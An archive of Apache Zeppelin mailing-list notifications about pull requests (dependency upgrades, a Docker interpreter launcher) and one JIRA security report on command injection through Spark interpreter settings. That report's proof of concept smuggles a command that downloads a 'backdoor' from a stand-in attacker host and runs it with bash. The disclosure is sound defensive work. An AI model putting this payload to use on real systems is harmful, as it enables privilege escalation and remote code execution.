[GitHub] [zeppelin] asfgit closed pull request #3382: ZEPPELIN-4193 Upgrade Bouncy Castle bcpkix-jdk15on to 1.60
asfgit closed pull request #3382: ZEPPELIN-4193 Upgrade Bouncy Castle bcpkix-jdk15on to 1.60 URL: https://github.com/apache/zeppelin/pull/3382 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] r-kamath commented on issue #3382: ZEPPELIN-4193 Upgrade Bouncy Castle bcpkix-jdk15on to 1.60
r-kamath commented on issue #3382: ZEPPELIN-4193 Upgrade Bouncy Castle bcpkix-jdk15on to 1.60 URL: https://github.com/apache/zeppelin/pull/3382#issuecomment-501962711 will merge this if there are no more discussions This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] r-kamath commented on issue #3379: [ZEPPELIN-4188] Upgrade Jetty to 9.4.18.v20190429
r-kamath commented on issue #3379: [ZEPPELIN-4188] Upgrade Jetty to 9.4.18.v20190429 URL: https://github.com/apache/zeppelin/pull/3379#issuecomment-501962719 will merge this if there are no more discussions This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh merged pull request #3381: [ZEPPELIN-4192] Travis CI fails for dependency download
prabhjyotsingh merged pull request #3381: [ZEPPELIN-4192] Travis CI fails for dependency download URL: https://github.com/apache/zeppelin/pull/3381 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh merged pull request #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
prabhjyotsingh merged pull request #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
Re: [GitHub] [zeppelin] liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
According to the shared settings of the interpreter in zeppelin, shared \ Per
node \ Per user settings,
Each interpreter process will be a separate docker container.
> On Jun 13, 2019, at 9:51 PM, tecgi...@yahoo.com.INVALID wrote:
>
> I have question about the behavior.
>
> Suppose user uses the per note scope and his notebook consists of python, r,
> and sql paragraphs. How many interpreter containers will be spawned when the
> note is run?
>
> Thanks
>
>> On Jun 13, 2019, at 3:27 AM, GitBox wrote:
>>
>> liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104]
>> Zeppelin Interpreter On Docker
>> URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293238678
>>
>>
>>
>> ##
>> File path:
>> zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterLauncher.java
>> ##
>> @@ -0,0 +1,79 @@
>> +/*
>> + * Licensed to the Apache Software Foundation (ASF) under one or more
>> + * contributor license agreements. See the NOTICE file distributed with
>> + * this work for additional information regarding copyright ownership.
>> + * The ASF licenses this file to You under the Apache License, Version 2.0
>> + * (the "License"); you may not use this file except in compliance with
>> + * the License. You may obtain a copy of the License at
>> + *
>> + *http://www.apache.org/licenses/LICENSE-2.0
>> + *
>> + * Unless required by applicable law or agreed to in writing, software
>> + * distributed under the License is distributed on an "AS IS" BASIS,
>> + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
>> + * See the License for the specific language governing permissions and
>> + * limitations under the License.
>> + */
>> +package org.apache.zeppelin.interpreter.launcher;
>> +
>> +import org.apache.zeppelin.conf.ZeppelinConfiguration;
>> +import org.apache.zeppelin.interpreter.recovery.RecoveryStorage;
>> +import org.slf4j.Logger;
>> +import org.slf4j.LoggerFactory;
>> +
>> +import java.io.IOException;
>> +import java.util.Map;
>> +
>> +/**
>> + * Interpreter Launcher which use shell script to launch the interpreter
>> process.
>> + */
>> +public class DockerInterpreterLauncher extends InterpreterLauncher {
>> + private static final Logger LOGGER =
>> LoggerFactory.getLogger(DockerInterpreterLauncher.class);
>> +
>> + private InterpreterLaunchContext context;
>> +
>> + public DockerInterpreterLauncher(ZeppelinConfiguration zConf,
>> RecoveryStorage recoveryStorage)
>> + throws IOException {
>> +super(zConf, recoveryStorage);
>> + }
>> +
>> + @Override
>> + public InterpreterClient launch(InterpreterLaunchContext context) throws
>> IOException {
>> +LOGGER.info("Launching Interpreter: " +
>> context.getInterpreterSettingGroup());
>> +this.context = context;
>> +this.properties = context.getProperties();
>> +int connectTimeout = getConnectTimeout();
>> +if (connectTimeout < 20) {
>>
>> Review comment:
>> This configuration item is already in `zeppelin-site.xml`,
>> `zeppelin.interpreter.connect.timeout`
>> ok, I am modifying the log message.
>>
>>
>> This is an automated message from the Apache Git Service.
>> To respond to the message, please log on to GitHub and use the
>> URL above to go to the specific comment.
>>
>> For queries about this service, please contact Infrastructure at:
>> us...@infra.apache.org
>>
>>
>> With regards,
>> Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501738858 Thank you @zjffdu Will merge this, if no more discussion. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] zjffdu commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
zjffdu commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501723054 LGTM This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
Re: [GitHub] [zeppelin] liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
I have question about the behavior.
Suppose user uses the per note scope and his notebook consists of python, r,
and sql paragraphs. How many interpreter containers will be spawned when the
note is run?
Thanks
> On Jun 13, 2019, at 3:27 AM, GitBox wrote:
>
> liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104]
> Zeppelin Interpreter On Docker
> URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293238678
>
>
>
> ##
> File path:
> zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterLauncher.java
> ##
> @@ -0,0 +1,79 @@
> +/*
> + * Licensed to the Apache Software Foundation (ASF) under one or more
> + * contributor license agreements. See the NOTICE file distributed with
> + * this work for additional information regarding copyright ownership.
> + * The ASF licenses this file to You under the Apache License, Version 2.0
> + * (the "License"); you may not use this file except in compliance with
> + * the License. You may obtain a copy of the License at
> + *
> + *http://www.apache.org/licenses/LICENSE-2.0
> + *
> + * Unless required by applicable law or agreed to in writing, software
> + * distributed under the License is distributed on an "AS IS" BASIS,
> + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
> + * See the License for the specific language governing permissions and
> + * limitations under the License.
> + */
> +package org.apache.zeppelin.interpreter.launcher;
> +
> +import org.apache.zeppelin.conf.ZeppelinConfiguration;
> +import org.apache.zeppelin.interpreter.recovery.RecoveryStorage;
> +import org.slf4j.Logger;
> +import org.slf4j.LoggerFactory;
> +
> +import java.io.IOException;
> +import java.util.Map;
> +
> +/**
> + * Interpreter Launcher which use shell script to launch the interpreter
> process.
> + */
> +public class DockerInterpreterLauncher extends InterpreterLauncher {
> + private static final Logger LOGGER =
> LoggerFactory.getLogger(DockerInterpreterLauncher.class);
> +
> + private InterpreterLaunchContext context;
> +
> + public DockerInterpreterLauncher(ZeppelinConfiguration zConf,
> RecoveryStorage recoveryStorage)
> + throws IOException {
> +super(zConf, recoveryStorage);
> + }
> +
> + @Override
> + public InterpreterClient launch(InterpreterLaunchContext context) throws
> IOException {
> +LOGGER.info("Launching Interpreter: " +
> context.getInterpreterSettingGroup());
> +this.context = context;
> +this.properties = context.getProperties();
> +int connectTimeout = getConnectTimeout();
> +if (connectTimeout < 20) {
>
> Review comment:
> This configuration item is already in `zeppelin-site.xml`,
> `zeppelin.interpreter.connect.timeout`
> ok, I am modifying the log message.
>
>
> This is an automated message from the Apache Git Service.
> To respond to the message, please log on to GitHub and use the
> URL above to go to the specific comment.
>
> For queries about this service, please contact Infrastructure at:
> us...@infra.apache.org
>
>
> With regards,
> Apache Git Services
[jira] [Created] (ZEPPELIN-4194) System command injection via Spark Interpreter configuration
Alexey Sintsov created ZEPPELIN-4194:
Summary: System command injection via Spark Interpreter
configuration
Key: ZEPPELIN-4194
URL: https://issues.apache.org/jira/browse/ZEPPELIN-4194
Project: Zeppelin
Issue Type: Bug
Components: zeppelin-server
Affects Versions: 0.8.0
Reporter: Alexey Sintsov
Hi
We have found that system commands can be injected into Spark interpreter
settings (maybe other interpreter's settings are affected as well). This
injection will be executed when any Spark job will run.
This injection could be a security issue in environments where users have
permissions to change interpreter settings - then it lead to local privilege
escalation (normally user can execute notes with special user that is used for
interpreter, but injected commands will be executed with zeppelin user).
*PoC:*
(this example will also crash Spark jobs because command line is truncated)
spark.executor.memory=16g;touch${IFS%?}/tmp/test
or another example, in this case Spark jobs will be executed normally without
interruption
spark.driver.cores=2`\{wget,-O,/tmp/x,http://attacker_server:443/backdoor};\{chmod,0755,/tmp/x};\{bash,-c,/tmp/x}`
*Expectation:*
Parameters should be validated and filtered to prevent injections into the
command line.
--
This message was sent by Atlassian JIRA
(v7.6.3#76005)
[GitHub] [zeppelin] r-kamath commented on issue #3379: [ZEPPELIN-4188] Upgrade Jetty to 9.4.18.v20190429
r-kamath commented on issue #3379: [ZEPPELIN-4188] Upgrade Jetty to 9.4.18.v20190429 URL: https://github.com/apache/zeppelin/pull/3379#issuecomment-501665032 @jongyoul there are some security issues in 9.4.14.v20181114. Zeppelin is not directly affected. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] r-kamath commented on a change in pull request #3376: [ZEPPELIN-4185] Upgrade Thrift to 0.12.0
r-kamath commented on a change in pull request #3376: [ZEPPELIN-4185] Upgrade
Thrift to 0.12.0
URL: https://github.com/apache/zeppelin/pull/3376#discussion_r293330494
##
File path:
zeppelin-interpreter/src/test/java/org/apache/zeppelin/dep/DependencyResolverTest.java
##
@@ -89,13 +89,13 @@ public void testLoad() throws Exception {
// load from added repository
resolver.addRepo("sonatype",
"https://oss.sonatype.org/content/repositories/agimatec-releases/";,
false);
-resolver.load("com.agimatec:agimatec-validation:0.9.3", testCopyPath);
Review comment:
@liuxunorg this is an accidental change. However, agimatec-validation 0.9.3
or 0.12.0 are not available and it is addressed in #3381
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
With regards,
Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501643228 @zjffdu these two changes looks ok, right? This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh commented on issue #3381: [ZEPPELIN-4192] Travis CI fails for dependency download
prabhjyotsingh commented on issue #3381: [ZEPPELIN-4192] Travis CI fails for dependency download URL: https://github.com/apache/zeppelin/pull/3381#issuecomment-501642941 CI green https://travis-ci.org/prabhjyotsingh/zeppelin/builds/545094596 Will merge this soon. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
prabhjyotsingh commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501596448 Sure, I've just reverted all of Flink changes as well. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293244947
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterProcess.java
##
@@ -0,0 +1,652 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Charsets;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.common.io.Resources;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.SocketException;
+import java.net.URI;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.LogStream;
+import com.spotify.docker.client.ProgressHandler;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ExecCreation;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.docker.client.messages.ProgressMessage;
+import org.apache.commons.lang.StringUtils;
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.launcher.utils.TarFileEntry;
+import org.apache.zeppelin.interpreter.launcher.utils.TarUtils;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterProcess;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterUtils;
+import org.apache.zeppelin.interpreter.thrift.RemoteInterpreterService;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static
org.apache.zeppelin.conf.ZeppelinConfiguration.ConfVars.ZEPPELIN_SERVER_KERBEROS_KEYTAB;
+
+public class DockerInterpreterProcess extends RemoteInterpreterProcess {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private String dockerIntpServicePort = "0";
+
+ private final String interpreterGroupId;
+ private final String interpreterGroupName;
+ private final String interpreterSettingName;
+ private final String containerImage;
+ private final Properties properties;
+ private final Map envs;
+ private final String zeppelinServiceHost;
+ private final String zeppelinServiceRpcPort;
+
+ private AtomicBoolean dockerStarted = new AtomicBoolean(false);
+
+ private DockerClient docker = null;
+ private final String containerName;
+ private String containerHost = "";
+ private int containerPort = 0;
+ private static final String DOCKER_INTP_JINJA =
"/jinja_templates/docker-interpreter.jinja";
+
+ // Upload local zeppelin library to container, There are several benefits
+ // Avoid the difference between the zeppelin version and the local in the
container
+ // 1. RemoteInterpreterServer::main(String[] args), Different versions of
args may be different
+ // 2. bin/interpreter.sh Start command args may be different
+ // 3. In the debugging phase for easy updating, Upload the local library
file to container
+ @VisibleForTesting
+ boolean uploadLocalLibToContainter = true;
+
+ private ZeppelinConfiguration zconf;
+
+ private String zeppelinHome;
+
+ @VisibleForTesting
+ final String CONTAINER_SPARK_HOME;
+
+ @VisibleForTesting
+ final String DOCKER_HOST;
+
+ private String containerId;
+ final String CONTAINER_UPLOAD_TAR_DIR = "/tmp/zeppelin-tar";
+
+ public DockerInterpreterProcess(
+ ZeppelinConfiguration zconf,
+ String containerImage,
+ String interpreterGroupId,
+ String interpreterGroupName,
[GitHub] [zeppelin] asfgit closed pull request #3372: [ZEPPELIN-3623] Create interpreter process in the cluster mode
asfgit closed pull request #3372: [ZEPPELIN-3623] Create interpreter process in the cluster mode URL: https://github.com/apache/zeppelin/pull/3372 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293240528
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterProcess.java
##
@@ -0,0 +1,652 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Charsets;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.common.io.Resources;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.SocketException;
+import java.net.URI;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.LogStream;
+import com.spotify.docker.client.ProgressHandler;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ExecCreation;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.docker.client.messages.ProgressMessage;
+import org.apache.commons.lang.StringUtils;
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.launcher.utils.TarFileEntry;
+import org.apache.zeppelin.interpreter.launcher.utils.TarUtils;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterProcess;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterUtils;
+import org.apache.zeppelin.interpreter.thrift.RemoteInterpreterService;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static
org.apache.zeppelin.conf.ZeppelinConfiguration.ConfVars.ZEPPELIN_SERVER_KERBEROS_KEYTAB;
+
+public class DockerInterpreterProcess extends RemoteInterpreterProcess {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private String dockerIntpServicePort = "0";
+
+ private final String interpreterGroupId;
+ private final String interpreterGroupName;
+ private final String interpreterSettingName;
+ private final String containerImage;
+ private final Properties properties;
+ private final Map envs;
+ private final String zeppelinServiceHost;
+ private final String zeppelinServiceRpcPort;
+
+ private AtomicBoolean dockerStarted = new AtomicBoolean(false);
+
+ private DockerClient docker = null;
+ private final String containerName;
+ private String containerHost = "";
+ private int containerPort = 0;
+ private static final String DOCKER_INTP_JINJA =
"/jinja_templates/docker-interpreter.jinja";
+
+ // Upload local zeppelin library to container, There are several benefits
+ // Avoid the difference between the zeppelin version and the local in the
container
+ // 1. RemoteInterpreterServer::main(String[] args), Different versions of
args may be different
+ // 2. bin/interpreter.sh Start command args may be different
+ // 3. In the debugging phase for easy updating, Upload the local library
file to container
+ @VisibleForTesting
+ boolean uploadLocalLibToContainter = true;
+
+ private ZeppelinConfiguration zconf;
+
+ private String zeppelinHome;
+
+ @VisibleForTesting
+ final String CONTAINER_SPARK_HOME;
+
+ @VisibleForTesting
+ final String DOCKER_HOST;
+
+ private String containerId;
+ final String CONTAINER_UPLOAD_TAR_DIR = "/tmp/zeppelin-tar";
+
+ public DockerInterpreterProcess(
+ ZeppelinConfiguration zconf,
+ String containerImage,
+ String interpreterGroupId,
+ String interpreterGroupNa
[GitHub] [zeppelin] liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293240332
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterProcess.java
##
@@ -0,0 +1,652 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Charsets;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.common.io.Resources;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.SocketException;
+import java.net.URI;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.LogStream;
+import com.spotify.docker.client.ProgressHandler;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ExecCreation;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.docker.client.messages.ProgressMessage;
+import org.apache.commons.lang.StringUtils;
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.launcher.utils.TarFileEntry;
+import org.apache.zeppelin.interpreter.launcher.utils.TarUtils;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterProcess;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterUtils;
+import org.apache.zeppelin.interpreter.thrift.RemoteInterpreterService;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static
org.apache.zeppelin.conf.ZeppelinConfiguration.ConfVars.ZEPPELIN_SERVER_KERBEROS_KEYTAB;
+
+public class DockerInterpreterProcess extends RemoteInterpreterProcess {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private String dockerIntpServicePort = "0";
+
+ private final String interpreterGroupId;
+ private final String interpreterGroupName;
+ private final String interpreterSettingName;
+ private final String containerImage;
+ private final Properties properties;
+ private final Map envs;
+ private final String zeppelinServiceHost;
+ private final String zeppelinServiceRpcPort;
+
+ private AtomicBoolean dockerStarted = new AtomicBoolean(false);
+
+ private DockerClient docker = null;
+ private final String containerName;
+ private String containerHost = "";
+ private int containerPort = 0;
+ private static final String DOCKER_INTP_JINJA =
"/jinja_templates/docker-interpreter.jinja";
+
+ // Upload local zeppelin library to container, There are several benefits
+ // Avoid the difference between the zeppelin version and the local in the
container
+ // 1. RemoteInterpreterServer::main(String[] args), Different versions of
args may be different
+ // 2. bin/interpreter.sh Start command args may be different
+ // 3. In the debugging phase for easy updating, Upload the local library
file to container
+ @VisibleForTesting
+ boolean uploadLocalLibToContainter = true;
+
+ private ZeppelinConfiguration zconf;
+
+ private String zeppelinHome;
+
+ @VisibleForTesting
+ final String CONTAINER_SPARK_HOME;
+
+ @VisibleForTesting
+ final String DOCKER_HOST;
+
+ private String containerId;
+ final String CONTAINER_UPLOAD_TAR_DIR = "/tmp/zeppelin-tar";
+
+ public DockerInterpreterProcess(
+ ZeppelinConfiguration zconf,
+ String containerImage,
+ String interpreterGroupId,
+ String interpreterGroupNa
[GitHub] [zeppelin] liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
liuxunorg commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293238678
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterLauncher.java
##
@@ -0,0 +1,79 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.recovery.RecoveryStorage;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * Interpreter Launcher which use shell script to launch the interpreter
process.
+ */
+public class DockerInterpreterLauncher extends InterpreterLauncher {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private InterpreterLaunchContext context;
+
+ public DockerInterpreterLauncher(ZeppelinConfiguration zConf,
RecoveryStorage recoveryStorage)
+ throws IOException {
+super(zConf, recoveryStorage);
+ }
+
+ @Override
+ public InterpreterClient launch(InterpreterLaunchContext context) throws
IOException {
+LOGGER.info("Launching Interpreter: " +
context.getInterpreterSettingGroup());
+this.context = context;
+this.properties = context.getProperties();
+int connectTimeout = getConnectTimeout();
+if (connectTimeout < 20) {
Review comment:
This configuration item is already in `zeppelin-site.xml`,
`zeppelin.interpreter.connect.timeout`
ok, I am modifying the log message.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
With regards,
Apache Git Services
[GitHub] [zeppelin] liuxunorg commented on issue #3372: [ZEPPELIN-3623] Create interpreter process in the cluster mode
liuxunorg commented on issue #3372: [ZEPPELIN-3623] Create interpreter process in the cluster mode URL: https://github.com/apache/zeppelin/pull/3372#issuecomment-501581945 [CI failure is unrelated.](https://travis-ci.org/liuxunorg/zeppelin/builds/545043371) I have developed other PR, relying on this PR. Will merge this if there are no more discussions. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] zjffdu commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
